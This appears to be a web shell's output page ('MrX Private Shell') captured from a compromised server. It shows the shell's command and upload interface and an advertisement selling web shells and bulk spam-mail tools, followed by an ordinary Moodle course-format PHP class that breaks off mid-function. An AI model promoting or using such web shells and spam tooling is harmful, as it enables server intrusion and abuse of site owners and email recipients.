__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Contains the base definition class for any course format plugin.
 *
 * @package   core_courseformat
 * @copyright 2020 Ferran Recio <ferran@moodle.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace core_courseformat;

use navigation_node;
use moodle_page;
use cm_info;
use core_component;
use course_modinfo;
use html_writer;
use section_info;
use context_course;
use editsection_form;
use moodle_exception;
use coding_exception;
use moodle_url;
use lang_string;
use core_external\external_api;
use stdClass;
use cache;
use core_courseformat\output\legacy_renderer;

/**
 * Base class for course formats
 *
 * Each course format must declare class
 * class format_FORMATNAME extends core_courseformat\base {}
 * in file lib.php
 *
 * For each course just one instance of this class is created and it will always be returned by
 * course_get_format($courseorid). Format may store it's specific course-dependent options in
 * variables of this class.
 *
 * In rare cases instance of child class may be created just for format without course id
 * i.e. to check if format supports AJAX.
 *
 * Also course formats may extend class section_info and overwrite
 * course_format::build_section_cache() to return more information about sections.
 *
 * If you are upgrading from Moodle 2.3 start with copying the class format_legacy and renaming
 * it to format_FORMATNAME, then move the code from your callback functions into
 * appropriate functions of the class.
 *
 * @package    core_courseformat
 * @copyright  2012 Marina Glancy
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
abstract class base {
    /** @var int Id of the course in this instance (maybe 0) */
    protected $courseid;
    /** @var string format used for this course. Please note that it can be different from
     * course.format field if course referes to non-existing of disabled format */
    protected $format;
    /** @var stdClass course data for course object, please use course_format::get_course() */
    protected $course = false;
    /** @var array caches format options, please use course_format::get_format_options() */
    protected $formatoptions = array();
    /** @var int|null the section number in single section format, null for multiple section formats. */
    protected $singlesection = null;
    /** @var int|null the sectionid when a single section is selected, null when multiple sections are displayed. */
    protected $singlesectionid = null;
    /** @var course_modinfo the current course modinfo, please use course_format::get_modinfo() */
    private $modinfo = null;
    /** @var array cached instances */
    private static $instances = array();
    /** @var array plugin name => class name. */
    private static $classesforformat = array('site' => 'site');
    /** @var sectionmanager the format section manager. */
    protected $sectionmanager = null;

    /**
     * Creates a new instance of class
     *
     * Please use course_get_format($courseorid) to get an instance of the format class
     *
     * @param string $format
     * @param int $courseid
     */
    protected function __construct($format, $courseid) {
        $this->format = $format;
        $this->courseid = $courseid;
    }

    /**
     * Validates that course format exists and enabled and returns either itself or default format
     *
     * @param string $format
     * @return string
     */
    final protected static function get_format_or_default($format) {
        global $CFG;
        require_once($CFG->dirroot . '/course/lib.php');

        if (array_key_exists($format, self::$classesforformat)) {
            return self::$classesforformat[$format];
        }

        $plugins = get_sorted_course_formats();
        foreach ($plugins as $plugin) {
            self::$classesforformat[$plugin] = $plugin;
        }

        if (array_key_exists($format, self::$classesforformat)) {
            return self::$classesforformat[$format];
        }

        if (PHPUNIT_TEST && class_exists('format_' . $format)) {
            // Allow unittests to use non-existing course formats.
            return $format;
        }

        // Else return default format.
        $defaultformat = get_config('moodlecourse', 'format');
        if (!in_array($defaultformat, $plugins)) {
            // When default format is not set correctly, use the first available format.
            $defaultformat = reset($plugins);
        }
        debugging('Format plugin format_'.$format.' is not found. Using default format_'.$defaultformat, DEBUG_DEVELOPER);

        self::$classesforformat[$format] = $defaultformat;
        return $defaultformat;
    }

    /**
     * Get class name for the format.
     *
     * If course format xxx does not declare class format_xxx, format_legacy will be returned.
     * This function also includes lib.php file from corresponding format plugin
     *
     * @param string $format
     * @return string
     */
    final protected static function get_class_name($format) {
        global $CFG;
        static $classnames = array('site' => 'format_site');
        if (!isset($classnames[$format])) {
            $plugins = core_component::get_plugin_list('format');
            $usedformat = self::get_format_or_default($format);
            if (isset($plugins[$usedformat]) && file_exists($plugins[$usedformat].'/lib.php')) {
                require_once($plugins[$usedformat].'/lib.php');
            }
            $classnames[$format] = 'format_'. $usedformat;
            if (!class_exists($classnames[$format])) {
                require_once($CFG->dirroot.'/course/format/formatlegacy.php');
                $classnames[$format] = 'format_legacy';
            }
        }
        return $classnames[$format];
    }

    /**
     * Returns an instance of the class
     *
     * @todo MDL-35727 use MUC for caching of instances, limit the number of cached instances
     *
     * @param int|stdClass $courseorid either course id or
     *     an object that has the property 'format' and may contain property 'id'
     * @return base
     */
    final public static function instance($courseorid) {
        global $DB;
        if (!is_object($courseorid)) {
            $courseid = (int)$courseorid;
            if ($courseid && isset(self::$instances[$courseid]) && count(self::$instances[$courseid]) == 1) {
                $formats = array_keys(self::$instances[$courseid]);
                $format = reset($formats);
            } else {
                $format = $DB->get_field('course', 'format', array('id' => $courseid), MUST_EXIST);
            }
        } else {
            $format = $courseorid->format;
            if (isset($courseorid->id)) {
                $courseid = clean_param($courseorid->id, PARAM_INT);
            } else {
                $courseid = 0;
            }
        }
        // Validate that format exists and enabled, use default otherwise.
        $format = self::get_format_or_default($format);
        if (!isset(self::$instances[$courseid][$format])) {
            $classname = self::get_class_name($format);
            self::$instances[$courseid][$format] = new $classname($format, $courseid);
        }
        return self::$instances[$courseid][$format];
    }

    /**
     * Resets cache for the course (or all caches)
     *
     * To be called from rebuild_course_cache()
     *
     * @param int $courseid
     */
    final public static function reset_course_cache($courseid = 0) {
        if ($courseid) {
            if (isset(self::$instances[$courseid])) {
                foreach (self::$instances[$courseid] as $format => $object) {
                    // In case somebody keeps the reference to course format object.
                    self::$instances[$courseid][$format]->course = false;
                    self::$instances[$courseid][$format]->formatoptions = array();
                    self::$instances[$courseid][$format]->modinfo = null;
                }
                unset(self::$instances[$courseid]);
            }
        } else {
            self::$instances = array();
        }
    }
    /**
     * Reset the current user for all courses.
     *
     * The course format cache resets every time the course cache resets but
     * also when the user changes their language, all course editors
     *
     * @return void
     */
    public static function session_cache_reset_all(): void {
        $statecache = cache::make('core', 'courseeditorstate');
        $statecache->purge();
    }

    /**
     * Reset the current user course format cache.
     *
     * The course format cache resets every time the course cache resets but
     * also when the user changes their course format preference, complete
     * an activity...
     *
     * @param stdClass $course the course object
     * @return string the new statekey
     */
    public static function session_cache_reset(stdClass $course): string {
        $statecache = cache::make('core', 'courseeditorstate');
        $newkey = $course->cacherev . '_' . time();
        $statecache->set($course->id, $newkey);
        return $newkey;
    }

    /**
     * Return the current user course format cache key.
     *
     * The course format session cache can be used to cache the
     * user course representation. The statekey will be reset when the
     * the course state changes. For example when the course is edited,
     * the user completes an activity or simply some course preference
     * like collapsing a section happens.
     *
     * @param stdClass $course the course object
     * @return string the current statekey
     */
    public static function session_cache(stdClass $course): string {
        $statecache = cache::make('core', 'courseeditorstate');
        $statekey = $statecache->get($course->id);
        // Validate the statekey code.
        if (preg_match('/^[0-9]+_[0-9]+$/', $statekey)) {
            list($cacherev) = explode('_', $statekey);
            if ($cacherev == $course->cacherev) {
                return $statekey;
            }
        }
        return self::session_cache_reset($course);
    }

    /**
     * Prune a course state cache for all open sessions.
     *
     * Most course edits does not require to invalidate the cache for all users
     * because the cache relies on the course cacherev value. However, there are
     * actions like editing the groups that do not change the course cacherev.
     *
     * @param \stdClass $course
     * @return void
     */
    public static function invalidate_all_session_caches_for_course(stdClass $course): void {
        \cache_helper::invalidate_by_event('changesincoursestate', [$course->id]);
    }

    /**
     * Returns the format name used by this course
     *
     * @return string
     */
    final public function get_format() {
        return $this->format;
    }

    /**
     * Returns id of the course (0 if course is not specified)
     *
     * @return int
     */
    final public function get_courseid() {
        return $this->courseid;
    }

    /**
     * Returns the course context.
     *
     * @return context_course the course context
     */
    final public function get_context(): context_course {
        return context_course::instance($this->courseid);
    }

    /**
     * Returns a record from course database table plus additional fields
     * that course format defines
     *
     * @return ?stdClass
     */
    public function get_course() {
        global $DB;
        if (!$this->courseid) {
            return null;
        }
        if ($this->course === false) {
            $this->course = get_course($this->courseid);
            $options = $this->get_format_options();
            $dbcoursecolumns = null;
            foreach ($options as $optionname => $optionvalue) {
                if (isset($this->course->$optionname)) {
                    // Course format options must not have the same names as existing columns in db table "course".
                    if (!isset($dbcoursecolumns)) {
                        $dbcoursecolumns = $DB->get_columns('course');
                    }
                    if (isset($dbcoursecolumns[$optionname])) {
                        debugging('The option name '.$optionname.' in course format '.$this->format.
                            ' is invalid because the field with the same name exists in {course} table',
                            DEBUG_DEVELOPER);
                        continue;
                    }
                }
                $this->course->$optionname = $optionvalue;
            }
        }
        return $this->course;
    }

    /**
     * Get the course display value for the current course.
     *
     * Formats extending topics or weeks will use coursedisplay as this setting name
     * so they don't need to override the method. However, if the format uses a different
     * display logic it must override this method to ensure the core renderers know
     * if a COURSE_DISPLAY_MULTIPAGE or COURSE_DISPLAY_SINGLEPAGE is being used.
     *
     * @return int The current value (COURSE_DISPLAY_MULTIPAGE or COURSE_DISPLAY_SINGLEPAGE)
     */
    public function get_course_display(): int {
        return $this->get_course()->coursedisplay ?? COURSE_DISPLAY_SINGLEPAGE;
    }

    /**
     * Return the current course modinfo.
     *
     * This method is used mainly by the output components to avoid unnecesary get_fast_modinfo calls.
     *
     * @return course_modinfo
     */
    public function get_modinfo(): course_modinfo {
        global $USER;
        if ($this->modinfo === null) {
            $this->modinfo = course_modinfo::instance($this->courseid, $USER->id);
        }
        return $this->modinfo;
    }

    /**
     * Method used in the rendered and during backup instead of legacy 'numsections'
     *
     * Default renderer will treat sections with sectionnumber greater that the value returned by this
     * method as "orphaned" and not display them on the course page unless in editing mode.
     * Backup will store this value as 'numsections'.
     *
     * This method ensures that 3rd party course format plugins that still use 'numsections' continue to
     * work but at the same time we no longer expect formats to have 'numsections' property.
     *
     * @return int The last section number, or -1 if sections are entirely missing
     */
    public function get_last_section_number() {
        $course = $this->get_course();
        if (isset($course->numsections)) {
            return $course->numsections;
        }
        $modinfo = get_fast_modinfo($course);
        $sections = $modinfo->get_section_info_all();

        // Sections seem to be missing entirely. Avoid subsequent errors and return early.
        if (count($sections) === 0) {
            return -1;
        }

        return (int)max(array_keys($sections));
    }

    /**
     * Method used to get the maximum number of sections for this course format.
     * @return int
     */
    public function get_max_sections() {
        $maxsections = get_config('moodlecourse', 'maxsections');
        if (!isset($maxsections) || !is_numeric($maxsections)) {
            $maxsections = 52;
        }
        return $maxsections;
    }

    /**
     * Returns true if the course has a front page.
     *
     * This function is called to determine if the course has a view page, whether or not
     * it contains a listing of activities. It can be useful to set this to false when the course
     * format has only one activity and ignores the course page. Or if there are multiple
     * activities but no page to see the centralised information.
     *
     * Initially this was created to know if forms should add a button to return to the course page.
     * So if 'Return to course' does not make sense in your format your should probably return false.
     *
     * @return boolean
     * @since Moodle 2.6
     */
    public function has_view_page() {
        return true;
    }

    /**
     * Generate the title for this section page.
     *
     * @return string the page title
     */
    public function page_title(): string {
        global $PAGE;
        return $PAGE->title;
    }

    /**
     * Returns true if this course format uses sections
     *
     * This function may be called without specifying the course id
     * i.e. in course_format_uses_sections()
     *
     * Developers, note that if course format does use sections there should be defined a language
     * string with the name 'sectionname' defining what the section relates to in the format, i.e.
     * $string['sectionname'] = 'Topic';
     * or
     * $string['sectionname'] = 'Week';
     *
     * @return bool
     */
    public function uses_sections() {
        return false;
    }

    /**
     * Returns true if this course format uses course index
     *
     * This function may be called without specifying the course id
     * i.e. in course_index_drawer()
     *
     * @return bool
     */
    public function uses_course_index() {
        return false;
    }

    /**
     * Returns true if this course format uses activity indentation.
     *
     * @return bool if the course format uses indentation.
     */
    public function uses_indentation(): bool {
        return true;
    }

    /**
     * Returns a list of sections used in the course
     *
     * This is a shortcut to get_fast_modinfo()->get_section_info_all()
     * @see get_fast_modinfo()
     * @see course_modinfo::get_section_info_all()
     *
     * @return array of section_info objects
     */
    final public function get_sections() {
        if ($course = $this->get_course()) {
            $modinfo = get_fast_modinfo($course);
            return $modinfo->get_section_info_all();
        }
        return array();
    }

    /**
     * Returns information about section used in course
     *
     * @param int|stdClass $section either section number (field course_section.section) or row from course_section table
     * @param int $strictness
     * @return ?section_info
     */
    final public function get_section($section, $strictness = IGNORE_MISSING) {
        if (is_object($section)) {
            $sectionnum = $section->section;
        } else {
            $sectionnum = $section;
        }
        $sections = $this->get_sections();
        if (array_key_exists($sectionnum, $sections)) {
            return $sections[$sectionnum];
        }
        if ($strictness == MUST_EXIST) {
            throw new moodle_exception('sectionnotexist');
        }
        return null;
    }

    /**
     * Returns the display name of the given section that the course prefers.
     *
     * @param int|stdClass|section_info $section Section object from database or just field course_sections.section
     * @return string Display name that the course format prefers, e.g. "Topic 2"
     */
    public function get_section_name($section) {
        if (is_object($section)) {
            $sectionnum = $section->section;
        } else {
            $sectionnum = $section;
        }

        if (get_string_manager()->string_exists('sectionname', 'format_' . $this->format)) {
            return get_string('sectionname', 'format_' . $this->format) . ' ' . $sectionnum;
        }

        // Return an empty string if there's no available section name string for the given format.
        return '';
    }

    /**
     * Returns the default section using course_format's implementation of get_section_name.
     *
     * @param int|stdClass $section Section object from database or just field course_sections section
     * @return string The default value for the section name based on the given course format.
     */
    public function get_default_section_name($section) {
        return self::get_section_name($section);
    }

    /**
     * Returns the name for the highlighted section.
     *
     * @return string The name for the highlighted section based on the given course format.
     */
    public function get_section_highlighted_name(): string {
        return get_string('highlighted');
    }

    /**
     * Set if the current format instance will show multiple sections or an individual one.
     *
     * Some formats has the hability to swith from one section to multiple sections per page.
     *
     * @param int|null $sectionid null for all sections or a sectionid.
     */
    public function set_sectionid(?int $sectionid): void {
        if ($sectionid === null) {
            $this->singlesection = null;
            $this->singlesectionid = null;
            return;
        }

        $modinfo = get_fast_modinfo($this->courseid);
        $sectioninfo = $modinfo->get_section_info_by_id($sectionid);
        if ($sectioninfo === null) {
            throw new coding_exception('Invalid sectionid: '. $sectionid);
        }

        $this->singlesection = $sectioninfo->section;
        $this->singlesectionid = $sectionid;
    }

    /**
     * Get if the current format instance will show multiple sections or an individual one.
     *
     * Some formats has the hability to swith from one section to multiple sections per page,
     * output components will use this method to know if the current display is a single or
     * multiple sections.
     *
     * @return int|null null for all sections or the sectionid.
     */
    public function get_sectionid(): ?int {
        return $this->singlesectionid;
    }

    /**
     * Set if the current format instance will show multiple sections or an individual one.
     *
     * Some formats has the hability to swith from one section to multiple sections per page.
     *
     * @param int $singlesection zero for all sections or a section number
     * @deprecated Since 4.4. Use set_sectionnum instead.
     * @todo MDL-80116 This will be deleted in Moodle 4.8.
     */
    public function set_section_number(int $singlesection): void {

        debugging(
            'The method core_courseformat\base::set_section_number() has been deprecated, please use set_sectionnum() instead.',
            DEBUG_DEVELOPER
        );

        if ($singlesection === 0) {
            // Convert zero to null, to guarantee all the sections are displayed.
            $singlesection = null;
        }
        $this->set_sectionnum($singlesection);
    }

    /**
     * Set the current section number to display.
     * Some formats has the hability to swith from one section to multiple sections per page.
     *
     * @since Moodle 4.4
     * @param int|null $sectionnum null for all sections or a sectionid.
     */
    public function set_sectionnum(?int $sectionnum): void {
        if ($sectionnum === null) {
            $this->singlesection = null;
            $this->singlesectionid = null;
            return;
        }

        $modinfo = get_fast_modinfo($this->courseid);
        $sectioninfo = $modinfo->get_section_info($sectionnum);
        if ($sectioninfo === null) {
            throw new coding_exception('Invalid sectionnum: '. $sectionnum);
        }

        $this->singlesection = $sectionnum;
        $this->singlesectionid = $sectioninfo->id;
    }

    /**
     * Get the current section number to display.
     * Some formats has the hability to swith from one section to multiple sections per page.
     *
     * @since Moodle 4.4
     * @return int|null the current section number or null when there is no single section.
     */
    public function get_sectionnum(): ?int {
        return $this->singlesection;
    }

    /**
     * Set if the current format instance will show multiple sections or an individual one.
     *
     * Some formats has the hability to swith from one section to multiple sections per page,
     * output components will use this method to know if the current display is a single or
     * multiple sections.
     *
     * @return int zero for all sections or the sectin number
     * @deprecated Since 4.4. Use get_sectionnum instead.
     * @todo MDL-80116 This will be deleted in Moodle 4.8.
     */
    public function get_section_number(): int {

        debugging(
            'The method core_courseformat\base::get_section_number() has been deprecated, please use get_sectionnum() instead.',
            DEBUG_DEVELOPER
        );

        if ($this->singlesection === null) {
            // Convert null to zero, to guarantee all the sections are displayed.
            return 0;
        }

        return $this->singlesection;
    }

    /**
     * Return the format section preferences.
     *
     * @return array of preferences indexed by sectionid
     */
    public function get_sections_preferences(): array {
        global $USER;

        $result = [];

        $course = $this->get_course();
        $coursesectionscache = cache::make('core', 'coursesectionspreferences');

        $coursesections = $coursesectionscache->get($course->id);
        if ($coursesections) {
            return $coursesections;
        }

        $sectionpreferences = $this->get_sections_preferences_by_preference();

        foreach ($sectionpreferences as $preference => $sectionids) {
            if (!empty($sectionids) && is_array($sectionids)) {
                foreach ($sectionids as $sectionid) {
                    if (!isset($result[$sectionid])) {
                        $result[$sectionid] = new stdClass();
                    }
                    $result[$sectionid]->$preference = true;
                }
            }
        }

        $coursesectionscache->set($course->id, $result);
        return $result;
    }

    /**
     * Return the format section preferences.
     *
     * @return array of preferences indexed by preference name
     */
    public function get_sections_preferences_by_preference(): array {
        global $USER;
        $course = $this->get_course();
        try {
            $sectionpreferences = json_decode(
                get_user_preferences("coursesectionspreferences_{$course->id}", '', $USER->id),
                true,
            );
            if (empty($sectionpreferences)) {
                $sectionpreferences = [];
            }
        } catch (\Throwable $e) {
            $sectionpreferences = [];
        }
        return $sectionpreferences;
    }

    /**
     * Return the format section preferences.
     *
     * @param string $preferencename preference name
     * @param int[] $sectionids affected section ids
     *
     */
    public function set_sections_preference(string $preferencename, array $sectionids) {
        $sectionpreferences = $this->get_sections_preferences_by_preference();
        $sectionpreferences[$preferencename] = $sectionids;
        $this->persist_to_user_preference($sectionpreferences);
    }

    /**
     * Add section preference ids.
     *
     * @param string $preferencename preference name
     * @param array $sectionids affected section ids
     */
    public function add_section_preference_ids(
        string $preferencename,
        array $sectionids,
    ): void {
        $sectionpreferences = $this->get_sections_preferences_by_preference();
        if (!isset($sectionpreferences[$preferencename])) {
            $sectionpreferences[$preferencename] = [];
        }
        foreach ($sectionids as $sectionid) {
            if (!in_array($sectionid, $sectionpreferences[$preferencename])) {
                $sectionpreferences[$preferencename][] = $sectionid;
            }
        }
        $this->persist_to_user_preference($sectionpreferences);
    }

    /**
     * Remove section preference ids.
     *
     * @param string $preferencename preference name
     * @param array $sectionids affected section ids
     */
    public function remove_section_preference_ids(
        string $preferencename,
        array $sectionids,
    ): void {
        $sectionpreferences = $this->get_sections_preferences_by_preference();
        if (!isset($sectionpreferences[$preferencename])) {
            $sectionpreferences[$preferencename] = [];
        }
        foreach ($sectionids as $sectionid) {
            if (($key = array_search($sectionid, $sectionpreferences[$preferencename])) !== false) {
                unset($sectionpreferences[$preferencename][$key]);
            }
        }
        $this->persist_to_user_preference($sectionpreferences);
    }

    /**
     * Persist the section preferences to the user preferences.
     *
     * @param array $sectionpreferences the section preferences
     */
    private function persist_to_user_preference(
        array $sectionpreferences,
    ): void {
        global $USER;
        $course = $this->get_course();
        set_user_preference('coursesectionspreferences_' . $course->id, json_encode($sectionpreferences), $USER->id);
        // Invalidate section preferences cache.
        $coursesectionscache = cache::make('core', 'coursesectionspreferences');
        $coursesectionscache->delete($course->id);
    }

    /**
     * Returns the information about the ajax support in the given source format
     *
     * The returned object's property (boolean)capable indicates that
     * the course format supports Moodle course ajax features.
     *
     * @return stdClass
     */
    public function supports_ajax() {
        // No support by default.
        $ajaxsupport = new stdClass();
        $ajaxsupport->capable = false;
        return $ajaxsupport;
    }

    /**
     * Returns true if this course format is compatible with content components.
     *
     * Using components means the content elements can watch the frontend course state and
     * react to the changes. Formats with component compatibility can have more interactions
     * without refreshing the page, like having drag and drop from the course index to reorder
     * sections and activities.
     *
     * @return bool if the format is compatible with components.
     */
    public function supports_components() {
        return false;
    }


    /**
     * Custom action after section has been moved in AJAX mode
     *
     * Used in course/rest.php
     *
     * @return ?array This will be passed in ajax respose
     */
    public function ajax_section_move() {
        return null;
    }

    /**
     * The URL to use for the specified course (with section)
     *
     * Please note that course view page /course/view.php?id=COURSEID is hardcoded in many
     * places in core and contributed modules. If course format wants to change the location
     * of the view script, it is not enough to change just this function. Do not forget
     * to add proper redirection.
     *
     * @param int|stdClass|section_info $section Section object from database or just field course_sections.section
     *     if null the course view page is returned
     * @param array $options options for view URL. At the moment core uses:
     *     'navigation' (bool) if true and section not empty, the function returns section page; otherwise, it returns course page.
     *     'sr' (int) used by course formats to specify to which section to return
     *     'expanded' (bool) if true the section will be shown expanded, true by default
     * @return null|moodle_url
     */
    public function get_view_url($section, $options = array()) {
        $course = $this->get_course();
        $url = new moodle_url('/course/view.php', ['id' => $course->id]);

        if (array_key_exists('sr', $options)) {
            $sectionno = $options['sr'];
        } else if (is_object($section)) {
            $sectionno = $section->section;
        } else {
            $sectionno = $section;
        }
        if ((!empty($options['navigation']) || array_key_exists('sr', $options)) && $sectionno !== null) {
            // Display section on separate page.
            $sectioninfo = $this->get_section($sectionno);
            return new moodle_url('/course/section.php', ['id' => $sectioninfo->id]);
        }
        if ($this->uses_sections() && $sectionno !== null) {
            // The url includes the parameter to expand the section by default.
            if (!array_key_exists('expanded', $options)) {
                $options['expanded'] = true;
            }
            if ($options['expanded']) {
                // This parameter is being set by default.
                $url->param('expandsection', $sectionno);
            }
            $url->set_anchor('section-'.$sectionno);
        }

        return $url;
    }

    /**
     * Return the old non-ajax activity action url.
     *
     * BrowserKit behats tests cannot trigger javascript events,
     * so we must translate to an old non-ajax url while non-ajax
     * course editing is still supported.
     *
     * @param string $action action name the reactive action
     * @param cm_info $cm course module
     * @return moodle_url
     */
    public function get_non_ajax_cm_action_url(string $action, cm_info $cm): moodle_url {
        $nonajaxactions = [
            'cmDelete' => 'delete',
            'cmDuplicate' => 'duplicate',
            'cmHide' => 'hide',
            'cmShow' => 'show',
            'cmStealth' => 'stealth',
        ];
        if (!isset($nonajaxactions[$action])) {
            throw new coding_exception('Unknown activity action: ' . $action);
        }
        $nonajaxaction = $nonajaxactions[$action];
        $nonajaxurl = new moodle_url(
            '/course/mod.php',
            ['sesskey' => sesskey(), $nonajaxaction => $cm->id]
        );
        if (!is_null($this->get_sectionid())) {
            $nonajaxurl->param('sr', $this->get_sectionnum());
        }
        return $nonajaxurl;
    }

    /**
     * Loads all of the course sections into the navigation
     *
     * This method is called from global_navigation::load_course_sections()
     *
     * By default the method global_navigation::load_generic_course_sections() is called
     *
     * When overwriting please note that navigationlib relies on using the correct values for
     * arguments $type and $key in navigation_node::add()
     *
     * Example of code creating a section node:
     * $sectionnode = $node->add($sectionname, $url, navigation_node::TYPE_SECTION, null, $section->id);
     * $sectionnode->nodetype = navigation_node::NODETYPE_BRANCH;
     *
     * Example of code creating an activity node:
     * $activitynode = $sectionnode->add($activityname, $action, navigation_node::TYPE_ACTIVITY, null, $activity->id, $icon);
     * if (global_navigation::module_extends_navigation($activity->modname)) {
     *     $activitynode->nodetype = navigation_node::NODETYPE_BRANCH;
     * } else {
     *     $activitynode->nodetype = navigation_node::NODETYPE_LEAF;
     * }
     *
     * Also note that if $navigation->includesectionnum is not null, the section with this relative
     * number needs is expected to be loaded
     *
     * @param \global_navigation $navigation
     * @param navigation_node $node The course node within the navigation
     */
    public function extend_course_navigation($navigation, navigation_node $node) {
        if ($course = $this->get_course()) {
            $navigation->load_generic_course_sections($course, $node);
        }
        return array();
    }

    /**
     * Returns the list of blocks to be automatically added for the newly created course
     *
     * @see blocks_add_default_course_blocks()
     *
     * @return array of default blocks, must contain two keys BLOCK_POS_LEFT and BLOCK_POS_RIGHT
     *     each of values is an array of block names (for left and right side columns)
     */
    public function get_default_blocks() {
        global $CFG;
        if (isset($CFG->defaultblocks)) {
            return blocks_parse_default_blocks_list($CFG->defaultblocks);
        }
        $blocknames = array(
            BLOCK_POS_LEFT => array(),
            BLOCK_POS_RIGHT => array()
        );
        return $blocknames;
    }

    /**
     * Return custom strings for the course editor.
     *
     * This method is mainly used to translate the "section" related strings into
     * the specific format plugins name such as "Topics" or "Weeks".
     *
     * @return stdClass[] an array of objects with string "component" and "key"
     */
    public function get_editor_custom_strings(): array {
        $result = [];
        $stringmanager = get_string_manager();
        $component = 'format_' . $this->format;
        $formatoverridbles = [
            'sectionavailability_title',
            'sectiondelete_title',
            'sectiondelete_info',
            'sectionsdelete_title',
            'sectionsdelete_info',
            'sectionmove_title',
            'sectionmove_info',
            'sectionsavailability_title',
            'sectionsmove_title',
            'sectionsmove_info',
            'selectsection'
        ];
        foreach ($formatoverridbles as $key) {
            if ($stringmanager->string_exists($key, $component)) {
                $result[] = (object)['component' => $component, 'key' => $key];
            }
        }
        return $result;
    }

    /**
     * Get the proper format plugin string if it exists.
     *
     * If the format_PLUGINNAME does not provide a valid string,
     * core_courseformat will be user as the component.
     *
     * @param string $key the string key
     * @param string|object|array|int $data extra data that can be used within translation strings
     * @return string the get_string result
     */
    public function get_format_string(string $key, $data = null): string {
        $component = 'format_' . $this->get_format();
        if (!get_string_manager()->string_exists($key, $component)) {
            $component = 'core_courseformat';
        }
        return get_string($key, $component, $data);
    }

    /**
     * Returns the localised name of this course format plugin
     *
     * @return lang_string
     */
    final public function get_format_name() {
        return new lang_string('pluginname', 'format_'.$this->get_format());
    }

    /**
     * Definitions of the additional options that this course format uses for course
     *
     * This function may be called often, it should be as fast as possible.
     * Avoid using get_string() method, use "new lang_string()" instead
     * It is not recommended to use dynamic or course-dependant expressions here
     * This function may be also called when course does not exist yet.
     *
     * Option names must be different from fields in the {course} talbe or any form elements on
     * course edit form, it may even make sence to use special prefix for them.
     *
     * Each option must have the option name as a key and the array of properties as a value:
     * 'default' - default value for this option (assumed null if not specified)
     * 'type' - type of the option value (PARAM_INT, PARAM_RAW, etc.)
     *
     * Additional properties used by default implementation of
     * course_format::create_edit_form_elements() (calls this method with $foreditform = true)
     * 'label' - localised human-readable label for the edit form
     * 'element_type' - type of the form element, default 'text'
     * 'element_attributes' - additional attributes for the form element, these are 4th and further
     *    arguments in the moodleform::addElement() method
     * 'help' - string for help button. Note that if 'help' value is 'myoption' then the string with
     *    the name 'myoption_help' must exist in the language file
     * 'help_component' - language component to look for help string, by default this the component
     *    for this course format
     *
     * This is an interface for creating simple form elements. If format plugin wants to use other
     * methods such as disableIf, it can be done by overriding create_edit_form_elements().
     *
     * Course format options can be accessed as:
     * $this->get_course()->OPTIONNAME (inside the format class)
     * course_get_format($course)->get_course()->OPTIONNAME (outside of format class)
     *
     * All course options are returned by calling:
     * $this->get_format_options();
     *
     * @param bool $foreditform
     * @return array of options
     */
    public function course_format_options($foreditform = false) {
        return array();
    }

    /**
     * Definitions of the additional options that this course format uses for section
     *
     * See course_format::course_format_options() for return array definition.
     *
     * Additionally section format options may have property 'cache' set to true
     * if this option needs to be cached in get_fast_modinfo(). The 'cache' property
     * is recommended to be set only for fields used in course_format::get_section_name(),
     * course_format::extend_course_navigation() and course_format::get_view_url()
     *
     * For better performance cached options are recommended to have 'cachedefault' property
     * Unlike 'default', 'cachedefault' should be static and not access get_config().
     *
     * Regardless of value of 'cache' all options are accessed in the code as
     * $sectioninfo->OPTIONNAME
     * where $sectioninfo is instance of section_info, returned by
     * get_fast_modinfo($course)->get_section_info($sectionnum)
     * or get_fast_modinfo($course)->get_section_info_all()
     *
     * All format options for particular section are returned by calling:
     * $this->get_format_options($section);
     *
     * @param bool $foreditform
     * @return array
     */
    public function section_format_options($foreditform = false) {
        return array();
    }

    /**
     * Returns the format options stored for this course or course section
     *
     * When overriding please note that this function is called from rebuild_course_cache()
     * and section_info object, therefore using of get_fast_modinfo() and/or any function that
     * accesses it may lead to recursion.
     *
     * @param null|int|stdClass|section_info $section if null the course format options will be returned
     *     otherwise options for specified section will be returned. This can be either
     *     section object or relative section number (field course_sections.section)
     * @return array
     */
    public function get_format_options($section = null) {
        global $DB;
        if ($section === null) {
            $options = $this->course_format_options();
        } else {
            $options = $this->section_format_options();
        }
        if (empty($options)) {
            // There are no option for course/sections anyway, no need to go further.
            return array();
        }
        if ($section === null) {
            // Course format options will be returned.
            $sectionid = 0;
        } else if ($this->courseid && isset($section->id)) {
            // Course section format options will be returned.
            $sectionid = $section->id;
        } else if ($this->courseid && is_int($section) &&
                ($sectionobj = $DB->get_record('course_sections',
                        array('section' => $section, 'course' => $this->courseid), 'id'))) {
            // Course section format options will be returned.
            $sectionid = $sectionobj->id;
        } else {
            // Non-existing (yet) section was passed as an argument
            // default format options for course section will be returned.
            $sectionid = -1;
        }
        if (!array_key_exists($sectionid, $this->formatoptions)) {
            $this->formatoptions[$sectionid] = array();
            // First fill with default values.
            foreach ($options as $optionname => $optionparams) {
                $this->formatoptions[$sectionid][$optionname] = null;
                if (array_key_exists('default', $optionparams)) {
                    $this->formatoptions[$sectionid][$optionname] = $optionparams['default'];
                }
            }
            if ($this->courseid && $sectionid !== -1) {
